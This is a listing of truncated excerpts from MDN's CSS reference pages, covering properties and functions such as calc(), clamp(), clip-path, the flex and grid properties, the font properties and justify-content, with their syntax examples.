) css function lets you perform calculations when specifying css property values. it can be used anywhere a <length>, <frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* property: calc(expression) */ width: calc(100% - 80px); the calc() function takes a single expression as its parameter, with the expression's result used as the value. the expression can be any simple expression combining the following operators, using standard operator precedence rules: + addition. - subtraction. * multiplication. at least one of the argum...
caret-color - CSS: Cascading Style Sheets
h the contenteditable attribute. the caret is typically a thin vertical line that flashes to help make it more noticeable. by default, it is black, but its color can be altered with this property. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note that the insertion caret is only one type of caret. for example, many browsers have a “navigation caret,” which acts similarly to an insertion caret but can be moved around in non-editable text. on the other hand, the mouse cursor image shown when hovering over text where the cursor property is auto, or when hovering over an element where the cursor property is text o...
clamp() - CSS: Cascading Style Sheets
e. the clamp() function can be used anywhere a <length>, <frequency>, <angle>, <time>, <percentage>, <number>, or <integer> is allowed. clamp(min, val, max) is resolved as max(min, min(val, max)) the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note that using clamp() for font sizes, as in these examples, allows you to set a font-size that grows with the size of the viewport, but doesn't go below a minimum font-size or above a maximum font-size. it has the same effect as the code in fluid typography but in one line, and without the use of media queries. syntax the clamp() function takes three comma separated expres...
clip-path - CSS: Cascading Style Sheets
the clip-path css property creates a clipping region that sets what part of an element should be shown. parts that are inside the region are shown, while those outside are hidden. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ clip-path: none; /* <clip-source> values */ clip-path: url(resources.svg#c1); /* <geometry-box> values */ clip-path: margin-box; clip-path: border-box; clip-path: padding-box; clip-path: content-box; clip-path: fill-box; clip-path: stroke-box; clip-path: view-box; /* <basic-shape> values */ clip-path: inset(100px 50px); clip-path: circle(50px at 0 100px); clip-...
color - CSS: Cascading Style Sheets
s text and text decorations, and sets the currentcolor value. currentcolor may be used as an indirect value on other properties and is the default for other color properties, such as border-color. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. for an overview of using color in html, see applying color to html elements using css. syntax /* keyword values */ color: currentcolor; /* <named-color> values */ color: red; color: orange; color: tan; color: rebeccapurple; /* <hex-color> values */ color: #090; color: #009900; color: #090a; color: #009900aa; /* <rgb()> values */ color: rgb(34, 12, 64, 0.6); color: rgba(34...
column-fill - CSS: Cascading Style Sheets
the column-fill css property controls how an element's contents are balanced when broken into columns. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ column-fill: auto; column-fill: balance; column-fill: balance-all; /* global values */ column-fill: inherit; column-fill: initial; column-fill: unset; the column-fill property is specified as one of the keyword values listed below. the initial value is balance so the content will be balanced across the columns. values auto columns are filled sequentially. content takes up only the room it needs, this may result in some columns rema...
column-rule-color - CSS: Cascading Style Sheets
the column-rule-color css property sets the color of the line drawn between columns in a multi-column layout. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <color> values */ column-rule-color: red; column-rule-color: rgb(192, 56, 78); column-rule-color: transparent; column-rule-color: hsla(0, 100%, 50%, 0.6); /* global values */ column-rule-color: inherit; column-rule-color: initial; column-rule-color: unset; the column-rule-color property is specified as a single <color> value. values <color> the color of the rule that separates columns. formal definition initial valuecurrentcolorapplies tomu...
column-rule-style - CSS: Cascading Style Sheets
the column-rule-style css property sets the style of the line drawn between columns in a multi-column layout. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <'border-style'> values */ column-rule-style: none; column-rule-style: hidden; column-rule-style: dotted; column-rule-style: dashed; column-rule-style: solid; column-rule-style: double; column-rule-style: groove; column-rule-style: ridge; column-rule-style: inset; column-rule-style: outset; /* global values */ column-rule-style: inherit; column-rule-style: initial; column-rule-style: unset; the column-rule-style property is specified as a single <...
column-rule-width - CSS: Cascading Style Sheets
the column-rule-width css property sets the width of the line drawn between columns in a multi-column layout. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ column-rule-width: thin; column-rule-width: medium; column-rule-width: thick; /* <length> values */ column-rule-width: 1px; column-rule-width: 2.5em; /* global values */ column-rule-width: inherit; column-rule-width: initial; column-rule-width: unset; the column-rule-width property is specified as a single <'border-width'> value. values <'border-width'> is a keyword defined by border-width describing the width of the rule. ...
column-rule - CSS: Cascading Style Sheets
the column-rule shorthand css property sets the width, style, and color of the line drawn between columns in a multi-column layout. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. it is a shorthand property that sets the individual column-rule-* properties in a single, convenient declaration: column-rule-width, column-rule-style, and column-rule-color. note: as with all shorthand properties, any individual value that is not specified is set to its corresponding initial value (possibly overriding values previously set using non-shorthand properties). syntax column-rule: dotted; column-rule: solid 8px; column-rul...
sepia() - CSS: Cascading Style Sheets
the sepia() css function converts the input image to sepia, giving it a warmer, more yellow/brown appearance. its result is a <filter-function>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax sepia(amount) parameters amount the amount of the conversion, specified as a <number> or a <percentage>. a value of 100% is completely sepia, while a value of 0% leaves the input unchanged. values between 0% and 100% are linear multipliers on the effect. the lacuna value for interpolation is 0. examples sepia(0) /* no effect */ sepia(.65) /* 65% sepia */ sepia(100%) /* completely sepia */ specifications...
filter - CSS: Cascading Style Sheets
of images, backgrounds, and borders. included in the css standard are several functions that achieve predefined effects. you can also reference an svg filter with a url to an svg filter element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* url to svg filter */ filter: url("filters.svg#filter-id"); /* <filter-function> values */ filter: blur(5px); filter: brightness(0.4); filter: contrast(200%); filter: drop-shadow(16px 16px 20px blue); filter: grayscale(50%); filter: hue-rotate(90deg); filter: invert(75%); filter: opacity(25%); filter: saturate(30%); filter: sepia(60%); /* multiple filters */ filter...
fit-content() - CSS: Cascading Style Sheets
the fit-content() css function clamps a given size to an available size according to the formula min(maximum size, max(minimum size, argument)). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the function can be used as a track size in css grid properties, where the maximum size is defined by max-content and the minimum size by auto, which is calculated similar to auto (i.e., minmax(auto, max-content)), except that the track size is clamped at argument if it is greater than the auto minimum. the function can also be used as laid out box size for width, height, min-width, min-height, max-width and max-height, where...
flex-basis - CSS: Cascading Style Sheets
the flex-basis css property sets the initial main size of a flex item. it sets the size of the content box unless otherwise set with box-sizing. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note: in case both flex-basis (other than auto) and width (or height in case of flex-direction: column) are set for an element, flex-basis has priority. syntax /* specify <'width'> */ flex-basis: 10em; flex-basis: 3px; flex-basis: auto; /* intrinsic sizing keywords */ flex-basis: fill; flex-basis: max-content; flex-basis: min-content; flex-basis: fit-content; /* automatically size based on the flex item’s content */ fl...
flex-direction - CSS: Cascading Style Sheets
the flex-direction css property sets how flex items are placed in the flex container defining the main axis and the direction (normal or reversed). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note that the values row and row-reverse are affected by the directionality of the flex container. if its dir attribute is ltr, row represents the horizontal axis oriented from the left to the right, and row-reverse from the right to the left; if the dir attribute is rtl, row represents the axis oriented from the right to the left, and row-reverse from the left to the right. syntax /* the direction text is laid out in a l...
flex-flow - CSS: Cascading Style Sheets
the flex-flow css shorthand property specifies the direction of a flex container, as well as its wrapping behavior. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: flex-direction flex-wrap syntax /* flex-flow: <'flex-direction'> */ flex-flow: row; flex-flow: row-reverse; flex-flow: column; flex-flow: column-reverse; /* flex-flow: <'flex-wrap'> */ flex-flow: nowrap; flex-flow: wrap; flex-flow: wrap-reverse; /* flex-flow: <'flex-direction'> and <'flex-wrap'> */ flex-flow: row nowrap; flex-flow: column wrap; flex-flow: colum...
flex-grow - CSS: Cascading Style Sheets
syntax /* <number> values */ flex-grow: 3; flex-grow: 0.6; /* global values */ flex-grow: inherit; flex-grow: initial; flex-grow: unset; the flex-grow property is specified as a single <number>. ...
flex-shrink - CSS: Cascading Style Sheets
x container, items shrink to fit according to flex-shrink. in use, flex-shrink is used alongside the other flex properties flex-grow and flex-basis, and normally defined using the flex shorthand. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <number> values */ flex-shrink: 2; flex-shrink: 0.6; /* global values */ flex-shrink: inherit; flex-shrink: initial; flex-shrink: unset; the flex-shrink property is specified as a single <number>. values <number> see <number>. negative values are invalid. defaults to 1. formal definition initial value1applies toflex items, including in-flow pseudo-element...
flex-wrap - CSS: Cascading Style Sheets
the flex-wrap css property sets whether flex items are forced onto one line or can wrap onto multiple lines. if wrapping is allowed, it sets the direction that lines are stacked. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. see using css flexible boxes for more properties and information. syntax flex-wrap: nowrap; /* default value */ flex-wrap: wrap; flex-wrap: wrap-reverse; /* global values */ flex-wrap: inherit; flex-wrap: initial; flex-wrap: unset; the flex-wrap property is specified as a single keyword chosen from the list of values below. values the following values are accepted: nowrap the flex i...
flex - CSS: Cascading Style Sheets
the flex css shorthand property sets how a flex item will grow or shrink to fit the space available in its flex container. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: flex-grow flex-shrink flex-basis syntax /* keyword values */ flex: auto; flex: initial; flex: none; /* one value, unitless number: flex-grow */ flex: 2; /* one value, width/height: flex-basis */ flex: 10em; flex: 30%; flex: min-content; /* two values: flex-grow | flex-basis */ flex: 1 30px; /* two values: flex-grow | flex-shrink */ flex: 2 2; /* thre...
float - CSS: Cascading Style Sheets
iner, allowing text and inline elements to wrap around it. the element is removed from the normal flow of the page, though still remaining a part of the flow (in contrast to absolute positioning). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. a floating element is one where the computed value of float is not none. as float implies the use of the block layout, it modifies the computed value of the display values, in some cases: specified value computed value inline block inline-block block inline-table table table-row block table-row-group ...
font-feature-settings - CSS: Cascading Style Sheets
the font-feature-settings css property controls advanced typographic features in opentype fonts. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* use the default settings */ font-feature-settings: normal; /* set values for opentype feature tags */ font-feature-settings: "smcp"; font-feature-settings: "smcp" on; font-feature-settings: "swsh" 2; font-feature-settings: "smcp", "swsh" 2; /* global values */ font-feature-settings: inherit; font-feature-settings: initial; font-feature-settings: unset; whenever possible, web authors should instead use the font-variant shorthand property or an associated longha...
font-optical-sizing - CSS: Cascading Style Sheets
the font-optical-sizing css property sets whether text rendering is optimized for viewing at different sizes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ font-optical-sizing: none; font-optical-sizing: auto; /* default */ /* global values */ font-optical-sizing: inherit; font-optical-sizing: initial; font-optical-sizing: unset; values none the browser will not modify the shape of glyphs for optimal viewing. auto the browser will modify the shape of glyphs for optimal viewing. description optical sizing is enabled by default for fonts that have an optical size variation ax...
font-size-adjust - CSS: Cascading Style Sheets
pecification. candidate recommendation initial definition the css property font-size-adjust was initially defined in css 2, but dropped in css 2.1. it has been newly defined in css 3. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-size-adjustchrome full support 43disabled full support 43disabled disabled from version 43: this feature is behind the enable e...
font-size - CSS: Cascading Style Sheets
the font-size css property sets the size of the font. changing the font size also updates the sizes of the font size-relative <length> units, such as em, ex, and so forth. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <absolute-size> values */ font-size: xx-small; font-size: x-small; font-size: small; font-size: medium; font-size: large; font-size: x-large; font-size: xx-large; font-size: xxx-large; /* <relative-size> values */ font-size: smaller; font-size: larger; /* <length> values */ font-size: 12px; font-size: 0.8em; /* <percentage> values */ font-size: 80%; /* global values */ font-size: inher...
font-style - CSS: Cascading Style Sheets
the font-style css property sets whether a font should be styled with a normal, italic, or oblique face from its font-family. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. italic font faces are generally cursive in nature, usually using less horizontal space than their unstyled counterparts, while oblique faces are usually just sloped versions of the regular face. when the specified style is not available, both italic and oblique faces are simulated by artificially sloping the glyphs of the regular face (use font-synthesis to control this behavior). syntax font-style: normal; font-style: italic; font-style: obli...
font-variant-ligatures - CSS: Cascading Style Sheets
t-variant-ligatures css property controls which ligatures and contextual forms are used in textual content of the elements it applies to. this leads to more harmonized forms in the resulting text. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ font-variant-ligatures: normal; font-variant-ligatures: none; font-variant-ligatures: common-ligatures; /* <common-lig-values> */ font-variant-ligatures: no-common-ligatures; /* <common-lig-values> */ font-variant-ligatures: discretionary-ligatures; /* <discretionary-lig-values> */ font-variant-ligatures: no-discretionary-ligatu...
font-variant-numeric - CSS: Cascading Style Sheets
the font-variant-numeric css property controls the usage of alternate glyphs for numbers, fractions, and ordinal markers. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax font-variant-numeric: normal; font-variant-numeric: ordinal; font-variant-numeric: slashed-zero; font-variant-numeric: lining-nums; /* <numeric-figure-values> */ font-variant-numeric: oldstyle-nums; /* <numeric-figure-values> */ font-variant-numeric: proportional-nums; /* <numeric-spacing-values> */ font-variant-numeric: tabular-nums; /* <numeric-spacing-values> */ font-variant-numeric: diagonal-fractions; /* <numeric...
font-variant-position - CSS: Cascading Style Sheets
specification status comment css fonts module level 3the definition of 'font-variant-position' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variant-positionchrome no support noedge no support nofirefox full support 34 ...
font-variation-settings - CSS: Cascading Style Sheets
tion-settings css property provides low-level control over variable font characteristics, by specifying the four letter axis names of the characteristics you want to vary, along with their values. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* use the default settings */ font-variation-settings: normal; /* set values for variable font axis names */ font-variation-settings: "xhgt" 0.7; /* global values */ font-variation-settings: inherit; font-variation-settings: initial; font-variation-settings: unset; values this property's value can take one of two forms: normal text is laid out using default s...
font-weight - CSS: Cascading Style Sheets
the font-weight css property sets the weight (or boldness) of the font. the weights available depend on the font-family that is currently set. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ font-weight: normal; font-weight: bold; /* keyword values relative to the parent */ font-weight: lighter; font-weight: bolder; /* numeric keyword values */ font-weight: 100; font-weight: 200; font-weight: 300; font-weight: 400;// normal font-weight: 500; font-weight: 600; font-weight: 700;// bold font-weight: 800; font-weight: 900; /* global values */ font-weight: inherit; font-weight: initial; fo...
font - CSS: Cascading Style Sheets
the font css shorthand property sets all the different properties of an element's font. alternatively, it sets an element's font to a system font. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. as with any shorthand property, any individual value that is not specified is set to its corresponding initial value (possibly overriding values previously set using non-shorthand properties). though not directly settable by font, the longhands font-size-adjust and font-kerning are also reset to their initial values. constituent properties this property is a shorthand for the following css properties: font-family font-...
grid-area - CSS: Cascading Style Sheets
hand property specifies a grid item’s size and location within a grid by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the edges of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. if four <grid-line> values are specified, grid-row-start is set to the first value, grid-column-start is set to the second value, grid-row-end is set to the third value, and grid-column-end is set to the fourth value. when grid-column-end is omitted, if grid-column-start is a <custom-ident>, grid-column-end is set to that <custom-ident>; otherwise, it is set to auto. when gr...
grid-auto-columns - CSS: Cascading Style Sheets
the grid-auto-columns css property specifies the size of an implicitly-created grid column track or pattern of tracks. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. if a grid item is positioned into a column that is not explicitly sized by grid-template-columns, implicit grid tracks are created to hold it. this can happen either by explicitly positioning into a column that is out of range, or by the auto-placement algorithm creating additional columns. syntax /* keyword values */ grid-auto-columns: min-content; grid-auto-columns: max-content; grid-auto-columns: auto; /* <length> values */ grid-auto-colum...
grid-auto-flow - CSS: Cascading Style Sheets
the grid-auto-flow css property controls how the auto-placement algorithm works, specifying exactly how auto-placed items get flowed into the grid. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword values */ grid-auto-flow: row; grid-auto-flow: column; grid-auto-flow: dense; grid-auto-flow: row dense; grid-auto-flow: column dense; /* global values */ grid-auto-flow: inherit; grid-auto-flow: initial; grid-auto-flow: unset; this property may take one of two forms: a single keyword: one of row, column, or dense. two keywords: row dense or column dense. values row items are placed by...
grid-auto-rows - CSS: Cascading Style Sheets
the grid-auto-rows css property specifies the size of an implicitly-created grid row track or pattern of tracks. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. if a grid item is positioned into a row that is not explicitly sized by grid-template-rows, implicit grid tracks are created to hold it. this can happen either by explicitly positioning into a row that is out of range, or by the auto-placement algorithm creating additional rows. syntax /* keyword values */ grid-auto-rows: min-content; grid-auto-rows: max-content; grid-auto-rows: auto; /* <length> values */ grid-auto-rows: 100px; grid-auto-rows: 20c...
grid-column-end - CSS: Cascading Style Sheets
specifies a grid item’s end position within the grid column by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the block-end edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ grid-column-end: auto; /* <custom-ident> values */ grid-column-end: somegridarea; /* <integer> + <custom-ident> values */ grid-column-end: 2; grid-column-end: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-column-end: span 3; grid-column-end: span somegridarea; grid-column-end: 5 somegridarea span; /* global values */ grid-c...
grid-column-start - CSS: Cascading Style Sheets
grid item’s start position within the grid column by contributing a line, a span, or nothing (automatic) to its grid placement. this start position defines the block-start edge of the grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ grid-column-start: auto; /* <custom-ident> value */ grid-column-start: somegridarea; /* <integer> + <custom-ident> values */ grid-column-start: 2; grid-column-start: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-column-start: span 3; grid-column-start: span somegridarea; grid-column-start: span somegridarea 5; /* global val...
grid-column - CSS: Cascading Style Sheets
tem's size and location within a grid column by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the inline-start and inline-end edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: grid-column-end grid-column-start syntax this property is specified as one or two <grid-line> values. if two <grid-line> values are given they are separated by "/". the grid-column-start longhand is set to the value before the slash, and the grid-column-end longhand is set to the val...
grid-row-end - CSS: Cascading Style Sheets
ty specifies a grid item’s end position within the grid row by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the inline-end edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ grid-row-end: auto; /* <custom-ident> values */ grid-row-end: somegridarea; /* <integer> + <custom-ident> values */ grid-row-end: 2; grid-row-end: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-row-end: span 3; grid-row-end: span somegridarea; grid-row-end: 5 somegridarea span; /* global values */ grid-row-end: inherit; grid...
grid-row-start - CSS: Cascading Style Sheets
pecifies a grid item’s start position within the grid row by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the inline-start edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ grid-row-start: auto; /* <custom-ident> values */ grid-row-start: somegridarea; /* <integer> + <custom-ident> values */ grid-row-start: 2; grid-row-start: somegridarea 4; /* span + <integer> + <custom-ident> values */ grid-row-start: span 3; grid-row-start: span somegridarea; grid-row-start: 5 somegridarea span; /* global values */ grid-row-star...
grid-row - CSS: Cascading Style Sheets
em’s size and location within the grid row by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the inline-start and inline-end edge of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. if two <grid-line> values are specified, the grid-row-start longhand is set to the value before the slash, and the grid-row-end longhand is set to the value after the slash. constituent properties this property is a shorthand for the following css properties: grid-row-end grid-row-start syntax /* keyword values */ grid-row: auto; grid-row: auto / auto; /* <custom-ide...
grid-template-areas - CSS: Cascading Style Sheets
the grid-template-areas css property specifies named grid areas, establishing the cells in the grid and assigning them names. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. those areas are not associated with any particular grid item, but can be referenced from the grid-placement properties grid-row-start, grid-row-end, grid-column-start, grid-column-end, and their shorthands grid-row, grid-column, and grid-area. syntax /* keyword value */ grid-template-areas: none; /* <string> values */ grid-template-areas: "a b"; grid-template-areas: "a b b" "a c d"; /* global values */ grid-template-area...
grid-template-columns - CSS: Cascading Style Sheets
the grid-template-columns css property defines the line names and track sizing functions of the grid columns. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ grid-template-columns: none; /* <track-list> values */ grid-template-columns: 100px 1fr; grid-template-columns: [linename] 100px; grid-template-columns: [linename1] 100px [linename2 linename3]; grid-template-columns: minmax(100px, 1fr); grid-template-columns: fit-content(40%); grid-template-columns: repeat(3, 200px); grid-template-columns: subgrid; /* <auto-track-list> values */ grid-template-columns: 200px repeat(auto-fill,...
grid-template-rows - CSS: Cascading Style Sheets
the grid-template-rows css property defines the line names and track sizing functions of the grid rows. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* keyword value */ grid-template-rows: none; /* <track-list> values */ grid-template-rows: 100px 1fr; grid-template-rows: [linename] 100px; grid-template-rows: [linename1] 100px [linename2 linename3]; grid-template-rows: minmax(100px, 1fr); grid-template-rows: fit-content(40%); grid-template-rows: repeat(3, 200px); grid-template-rows: subgrid; /* <auto-track-list> values */ grid-template-rows: 200px repeat(auto-fill, 100px) 300px; grid-template-rows...
grid-template - CSS: Cascading Style Sheets
the grid-template css property is a shorthand property for defining grid columns, rows, and areas. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. constituent properties this property is a shorthand for the following css properties: grid-template-areas grid-template-columns grid-template-rows syntax /* keyword value */ grid-template: none; /* grid-template-rows / grid-template-columns values */ grid-template: 100px 1fr / 50px 1fr; grid-template: auto 1fr / auto 1fr auto; grid-template: [linename] 100px / [columnname1] 30% [columnname2] 70%; grid-template: fit-content(100px) / fit-content(40%); /* g...
grid - CSS: Cascading Style Sheets
the grid css property is a shorthand property that sets all of the explicit and implicit grid properties in a single declaration. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note: you can only specify the explicit or the implicit grid properties in a single grid declaration. the sub-properties you don’t specify are set to their initial value, as normal for shorthands. also, the gutter properties are not reset by this shorthand. constituent properties this property is a shorthand for the following css properties: grid-auto-columns grid-auto-flow grid-auto-rows grid-template-areas grid-template...
height - CSS: Cascading Style Sheets
ecifies the height of an element. by default, the property defines the height of the content area. if box-sizing is set to border-box, however, it instead determines the height of the border area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the min-height and max-height properties override height. syntax /* keyword value */ height: auto; /* <length> values */ height: 120px; height: 10em; /* <percentage> value */ height: 75%; /* global values */ height: inherit; height: initial; height: unset; values <length> defines the height as an absolute value. <percentage> defines the height as a percentage of t...
hyphens - CSS: Cascading Style Sheets
en text wraps across multiple lines. it can prevent hyphenation entirely, hyphenate at manually-specified points within the text, or let the browser automatically insert hyphens where appropriate. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. hyphenation rules are language-specific. in html, the language is determined by the lang attribute, and browsers will hyphenate only if this attribute is present and the appropriate hyphenation dictionary is available. in xml, the xml:lang attribute must be used. note: the rules defining how hyphenation is performed are not explicitly defined by the specification, so the exa...
image-set() - CSS: Cascading Style Sheets
2.0 specifications specification status comment css images module level 4the definition of 'the image-set() notation' in that specification. working draft browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetimage-set()chrome full support 21prefixed full support 21prefixed prefixed implemented with the vendor prefix: -webkit-edge ...
initial - CSS: Cascading Style Sheets
e recommendation no changes from level 3. css cascading and inheritance level 3the definition of 'initial' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetinitialchrome full support 1edge full support 13firefox full support 19 ...
inline-size - CSS: Cascading Style Sheets
rty defines the horizontal or vertical size of an element's block, depending on its writing mode. it corresponds to either the width or the height property, depending on the value of writing-mode. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. syntax /* <length> values */ inline-size: 300px; inline-size: 25em; /* <percentage> values */ inline-size: 75%; /* keyword values */ inline-size: max-content; inline-size: min-content; inline-size: fit-content(20em); inline-size: auto; /* global values */ inline-size: inherit; inline-size: initial; inline-size: unset; if the writing mode is vertically oriented, the value...
<integer> - CSS: Cascading Style Sheets
'<integer>' in that specification. recommendation explicit definition. css level 1the definition of '<integer>' in that specification. recommendation implicit definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet<integer>chrome full support 1edge full support 12firefox full support 1ie ...
justify-content - CSS: Cascading Style Sheets
between and around content items along the main-axis of a flex container, and the inline axis of a grid container. the interactive example below demonstrates some of the values using grid layout. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the alignment is done after the lengths and auto margins are applied, meaning that, if in a flexbox layout there is at least one flexible element, with flex-grow different from 0, it will have no effect as there won't be any available space. syntax /* positional alignment */ justify-content: center; /* pack items around the center */ justify-content: start; /* pack ...
justify-items - CSS: Cascading Style Sheets
the css justify-items property defines the default justify-self for all items of the box, giving them all a default way of justifying each box along the appropriate axis. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the effect of this property is dependent of the layout mode we are in: in block-level layouts, it aligns the items inside their containing block on the inline axis. for absolutely-positioned elements, it aligns the items inside their containing block on the inline axis, accounting for the offset values of top, left, bottom, and right. in table cell layouts, this property is ignored (more about al...
justify-self - CSS: Cascading Style Sheets
